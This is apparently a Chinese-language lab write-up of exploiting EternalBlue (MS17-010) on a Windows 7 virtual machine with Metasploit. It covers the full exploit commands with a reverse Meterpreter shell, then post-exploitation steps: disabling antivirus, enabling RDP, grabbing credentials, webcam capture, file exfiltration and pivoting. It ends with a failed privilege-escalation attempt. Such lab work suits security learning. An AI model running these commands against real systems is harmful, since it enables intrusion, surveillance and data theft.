利用永恆之藍漏洞入侵Windows7
流程參考https://www.jianshu.com/p/03a1c13f963a,實在是太棒啦!!!
目標主機為win7(IP:192.168.1.102);攻擊機為kali(IP:192.168.1.104);工具為metasploit5
啟動metasploit
msfconsole
探測目標主機資訊
nmap -sV 192.168.1.102
,445埠開放著,大概率可以用永恆之藍漏洞攻擊
這一次選擇MS17_010漏洞,就是永恆之藍漏洞來入侵Windows7。查詢MS17_010漏洞相關的資訊:
search ms17_010
第二個輔助模組是探測主機是否存在MS17_010漏洞
選擇這個輔助模組,看看目標機器是不是有這個問題。
likely ———— 有可能有啊 (必須滴有?♀️)
開幹!
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue # 用攻擊模組
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads # 顯示所有payload
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 generic/custom normal No Custom Payload
2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 windows/x64/exec normal No Windows x64 Execute Command
5 windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
6 windows/x64/messagebox normal No Windows MessageBox x64
7 windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
8 windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
9 windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
10 windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
11 windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
————————————————————此處省略很多行——————————————————————————————————————
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 選擇這個payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102 # 設定目標IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104 # 設定攻擊機IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run # 開幹
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.1.102:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49165) at 2020-09-28 15:09:35 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > sysinfo # 可以為所欲為了
Computer : GE-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
成功地對目標機器攻擊滲透後還可以做什麼? Metasploit提供了一個非常強大的後滲透工具————Meterpreter,該工具具有多重功能,使後續的滲透入侵變得更容易。獲取目標機的Meterpreter Shell後,就進入了Metasploit最精彩的後期滲透利用階段,後期滲透模組有200多個,Meterpreter有以下優勢。
- 純記憶體工作模式,不需要對磁碟進行任何寫入操作。
- 使用加密通訊協議,而且可以同時與幾個通道通訊。
- 在被攻擊程式內工作,不需要建立新的程式。
- 易於在多程式之間遷移。
- 平臺通用,適用於Windows、Linux、 BSD系統, 並支援Intel x86和Intel x64平臺。
本節主要介紹如何利用Meterpreter做好後滲透的準備工作及收集系統各類資訊和資料。
程式遷移
在剛獲得Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標機器,但攻擊滲透後瀏覽器有可能被使用者關閉。所以第一步就是要移動這個Shell,把它和目標機中一個穩定的程式繫結在一起,而不需要對磁碟進行任何寫入操作。這樣做使得滲透更難被檢測到。
輸入ps命令獲取目標機正在執行的程式,如下圖所示。
輸入getpid命令檢視Meterpreter Shell的程式號,如下圖所示
可以看到Meterpreter Shell程式的PID為1116,Name為spoolsv.exe,然後輸入migrate 2428
命令把Shell移動到PID為2428的Explorer.exe程式裡,因為該程式是一個穩定的應用。
完成程式遷移後,再次輸入getpid命令檢視Meterpreter Shel的程式號,發現PID已經變成了2428,說明已經成功遷移到Explorer.exe程式裡,如圖所示。
程式遷移完成後,原先PID為1116的程式會自動關閉,如果沒有自動關閉可以輸入kill 1116命令“殺掉” 該程式。使用自動遷移程式命令(run post/windows/manage/migrate
)後,系統會自動尋找合適的程式然後遷移,如圖所示。
如上圖所示,系統已經把原來PID為2428的程式遷移到956。
系統命令
獲得了穩定的程式後,接下來收集系統資訊。先輸入sysinfo
命令檢視目標機的系統資訊,例如作業系統和體系結構,如下圖所示。
輸入run post/windows/gather/checkvm
命令檢查目標機是否執行在虛擬機器上,如下所示
可以看到當前目標機正執行在一個VMware虛擬機器上.現在檢查目標機是否正在執行, 輸入idletime
命令後可以看到目標機最近的執行時間.
可以看到目標機器正在執行,並且已經執行了35 mins 16 secs
接著輸入route
命令檢視目標機完整的網路設定, 如下圖所示
除此之外,可以輸入background命令將當前會話放到後臺,此命令適合在多個Meterpreter會話的場景下使用。還可以輸入getuid命令檢視當前目標機器上已經滲透成功的使用者名稱,如下圖所示。
接著輸入run post/windows/manage/killav
命令關閉目標機作業系統, 如下所示
輸入run post/windows/manage/enable_rdp
命令啟動目標機的遠端桌面協議,也就是常說的3389埠,如下
然後輸入run post/windows/manage/autoroute
命令檢視目標機的本地子網情況, 如下:
可以通過新增路由藉助被攻陷的主機對其他網路的主機傳送攻擊.
接著輸入run post/windows/gather/enum_logged_on_users
命令列舉當前有多少使用者登陸了目標機.
這系統就ge一個使用者.且當前已經登陸.
列舉完了使用者之後, 繼續輸入 run post/windows/gather/enum_applications
命令列舉安裝在目標機上的應用程式, 如下
很多使用者習慣將計算機設定為自動登入,下面這個命令可以抓取自動登陸的使用者和密碼.
run windows/gather/credentials/windows_autologin
可以看到,當前沒有抓到任何資訊。此時就需要用到擴充套件外掛Espia,使用前要先輸入load espia命令載入該外掛,然後輸入screengrab命令就可以抓取此時目標機的螢幕截圖,如圖所示。
抓取成功後就生成了一個名為YZOFsgTD.jpeg的圖片,儲存在root目錄下。這裡輸入screenshot命令也可以達到同樣的效果,如圖所示。
下面介紹幾個好玩的命令, 檢視目標機有沒有攝像頭的命令為 webcam_list, 如下:
沒有和有結果分別如下(為撒一會無,一會有? [因為我發現沒有之後把攝像頭又分配給了虛擬機器?])
接著輸入webcam_snap命令開啟目標機攝像頭並拍攝一照片, 如下
瘋狂打馬
輸入webcam_stream命令甚至還可以開啟直播模式. 媽呀,可怕!!
還可以輸入shell命令進入目標機shell下面, 如下所示.
最後輸入exit命令停止meterpreter會話, 如下所示. 該命令還可用於停止shell會話並返回meterpreter.
檔案系統命令
Meterpreter也支援各種檔案系統命令,用於搜尋檔案並執行各種任務,例如搜尋檔案、下載檔案及切換目錄等,相對來說操作比較簡單。常用的檔案系統命令及其作用如下所示。
- pwd或getwd: 檢視當前處於目標機的哪個目錄,如圖所示。
- getlwd: 檢視當前處於本地的哪個目錄
- ls: 列出當前目錄中的所有檔案
- cd: 切換目錄
- search -f *.txt -d c:\ 可以搜尋C盤中所有以".txt" 為副檔名的檔案,其中-f引數用於指定搜尋檔案模式,-d引數用於指定在哪個目錄下進行搜尋,如圖所示。
- download c:\test.txt /root 下載目標機C盤的test.txt檔案到攻擊機root下。
- upload /root/test.txt c:\ 上傳攻擊機root目錄下的test.txt檔案到目標機C盤下。
使用上述命令搜尋已被攻陷的目標機,可以獲得更多關於目標機的資訊。
後滲透攻擊:許可權提升
通常,我們在滲透過程中很有可能只獲得了一個系統的Guest或User許可權。低的許可權級別將使我們受到很多的限制,在實施橫向滲透或者提權攻擊時將很困難。在主機上如果沒有管理員許可權,就無法進行獲取Hash、安裝軟體、修改防火牆規則和修改登錄檔等各種操作,所以必須將訪問許可權從Guset提升到User,再到Administrator,最後到System級別。
滲透的最終目的是獲取伺服器的最高許可權,即Windows作業系統中管理員賬號的許可權,或Linux作業系統中root賬戶的許可權。提升許可權的方式分為以下兩類。
- 縱向提權:低許可權角色獲得高許可權角色的許可權。例如,一個WebShell許可權通過提權之後擁有了管理員的許可權,那麼這種提權就是縱向提權,也稱作許可權升級。
- 橫向提權:獲取同級別角色的許可權。例如,通過已經攻破的系統A獲取了系統B的許可權,那麼這種提權就屬於橫向提權。
所以在成功獲取目標機Meterpreter Shell後,我們要知道現在已經擁有了什麼許可權.
在Meterpreter Shell下輸入shell命令進入目標機的CMD命令列, 接著輸入whoami /groups
命令檢視我們當前的許可權
從上圖中可以看到,當前的許可權是Mandatory Label\Medium Mandatory Level, 說明我們是一個標準使用者,那麼就需要將使用者許可權從標準使用者提升到管理員,也就是Mandatory Label\High Mandatory Level。
下面我們就利用本地溢位漏洞來提高許可權,也就是說通過執行些現成的、能造成溢位漏洞的Exploit,把使用者從User組或其他系統使用者組中提升到Administrator組(或root)。
溢位漏洞就像往杯子裡裝水,水多了杯子裝不進去,裡面的水就會溢位來。而計算機有個地方叫快取區,程式的快取區長度是事先被設定好的,如果使用者輸入的資料超過了這個快取區的長度,那麼這個程式就會溢位。
利用WMIC實戰MS16-032本地溢位漏洞
此處我們通過一系列的滲透測試得到了目標機器的Meterpreter Shell.首先輸入getuid命令檢視已經獲得的許可權,可以看到現在的許可權很低,是test許可權。嘗試輸入getsystem命令提權,結果失敗,如圖所示。
接著檢視系統的已打補丁,傳統的方法是在目標機的CMD命令列下輸入systeminfo命令,或者通過查詢C:\windows\裡留下的補丁號".Iog" 檢視目標機大概打了哪些補丁,如圖所示。
可以看到目標機只安裝了3個修補程式。這裡再利用WMIC命令Wmic qfe get Caption,Description,HotFixID,InstalledOn
列出已安裝的補丁,如圖所示。
同樣可以看到目標機只打了3個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,然後將系統已經安裝的補丁編號與提權的EXP編號進行對比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) ,MS11-080(KB2592799),然後使用沒有編號的EXP進行提權。因為虛擬機器不怎麼打補丁,所以我們可以使用很多EXP來提權,這裡就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。
相關漏洞的具體資訊分析和共享可以參考如下兩個網站。
- 安全焦點,其BugTraq是一個出色的漏洞和Exploit資料來源, 可以通過CVE編號或者產品資訊漏洞直接搜尋。網址: https://www.securityfocus.com/bid .
- Exploit-DB, 取代了老牌安全網站milw0rm。 Exploit DB不斷更新大量的Exploit程式和報告,它的搜尋範圍是整個網站的內容。網址: https://www.exploit-db.com/ 。
知識點: WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令列管理工具,提供了從命令列介面到批命令指令碼執行系統管理的支援,可以說是Windows平臺下最有用的命令列工具。使用WMIC,我們不但可
以管理本地計算機,還可以管理同一域內的所有遠端計算機(需要必要的許可權), 而被管理的遠端計算機不必事先安裝WMIC.
wmic.exe位於Windows目錄下,是一個命令列程式。 WMIC可以以兩種模式執行:互動模式(Interactive mode)和非互動模式(Non-Interactive mode),經常使用Netsh命令列的讀者應該非常熟悉這兩種模式。
- 互動模式。如果你在命令提示符下或通過“執行”選單隻輸入WMIC,都將進入WMIC的互動模式,每當一個命令執行完畢後,系統還會返回到WMIC提示符下,如"Root\cli" ,互動模式通常在需要執行多個WMIC指令時使用,有時還會對一些敏感的操作要求確認,例如刪除操作,這樣能最大限度地防止使用者操作出現失誤。
- 非互動模式。非互動模式是指將WMIC指令直接作為WMIC的引數放在WMIC後面,當指令執行完畢後再返回到普通的命令提示符下,而不是進入WMIC上下文環境中。WMIC的非互動模式主要用於批處理或者其他一些指令碼檔案中。
需要注意的是,在Windows XP下,低許可權使用者是不能使用WMIC命令的,但是在Windows 7系統和Windows 8系統下,低許可權使用者可以使用WMIC,且不用更改任何設定。
WMIC在資訊收集和後滲透測試階段非常實用,可以調取檢視目標機的程式、服務、使用者、使用者組、網路連線、硬碟資訊、網路共享資訊、已安裝補丁、啟動項、已安裝的軟體、作業系統的相關資訊和時區等。
接下來準備提權,同樣需要先把Meterpreter會話轉為後臺執行,然後搜尋MS16-032,如下圖所示。
知識點: 如果搜尋不到最新的Exploit,可以輸入msfupdate命令進行升級,獲取最新的Exploit模組、攻擊載荷,或者手動新增相應漏洞EXP 。
執行以下命令選中MS16-032這個漏洞,然後指定"session" 進行提權操作,這裡我們指定服務"session" 為 “1”,然後run 。
額這塊失敗了, 不玩了mmp......
為方便提權, 下面附上部分系統對應的補丁號.
說明
本文參考 開篇的部落格連結 及 《Web安全攻防:滲透測試實戰指南》
所有過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜。